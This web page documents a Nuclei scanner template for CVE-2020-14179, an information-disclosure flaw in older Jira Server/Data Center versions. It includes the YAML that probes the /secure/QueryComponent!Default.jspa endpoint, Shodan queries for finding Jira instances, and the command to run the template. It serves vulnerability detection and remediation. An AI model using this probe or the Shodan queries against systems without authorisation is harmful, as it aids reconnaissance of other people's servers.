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Atlassian Jira Server/Data Center <8.5.8/8.6.0 - 8.11.1 - Information Disclosure

ID: CVE-2020-14179

Severity: medium

Author: x1m_martijn

Tags: cve,cve2020,atlassian,jira,exposure,disclosure

Description

Section titled “Description”

Atlassian Jira Server and Data Center before 8.5.8 and 8.6.0 through 8.11.1 are susceptible to information disclosure via the /secure/QueryComponent!Default.jspa endpoint. An attacker can view custom field names and custom SLA names.

YAML Source

Section titled “YAML Source”
id: CVE-2020-14179


info:
  name: Atlassian Jira Server/Data Center <8.5.8/8.6.0 - 8.11.1 - Information Disclosure
  author: x1m_martijn
  severity: medium
  description: Atlassian Jira Server and Data Center before 8.5.8 and 8.6.0 through 8.11.1 are susceptible to information disclosure via the /secure/QueryComponent!Default.jspa endpoint. An attacker can view custom field names and custom SLA names.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks.
  remediation: |
    Upgrade Atlassian Jira Server/Data Center to a version higher than 8.11.1 to mitigate the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-71536
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14179
    - https://github.com/developer3000S/PoC-in-GitHub
    - https://github.com/hackerhackrat/R-poc
    - https://github.com/soosmile/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-14179
    epss-score: 0.00628
    epss-percentile: 0.78972
    cpe: cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira_data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2020,atlassian,jira,exposure,disclosure


http:
  - method: GET
    path:
      - "{{BaseURL}}/secure/QueryComponent!Default.jspa"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{"searchers":'
          - '"groups":'
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a0048304602210094c21804c35815d93319e6c2b3e3b49a4f765b6d79a2c90e3466912402fe230a022100fa6641444f4a520f9f64cce6eae22e5870500ded3de2e460790ab6e57711bcbb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-14179.yaml"

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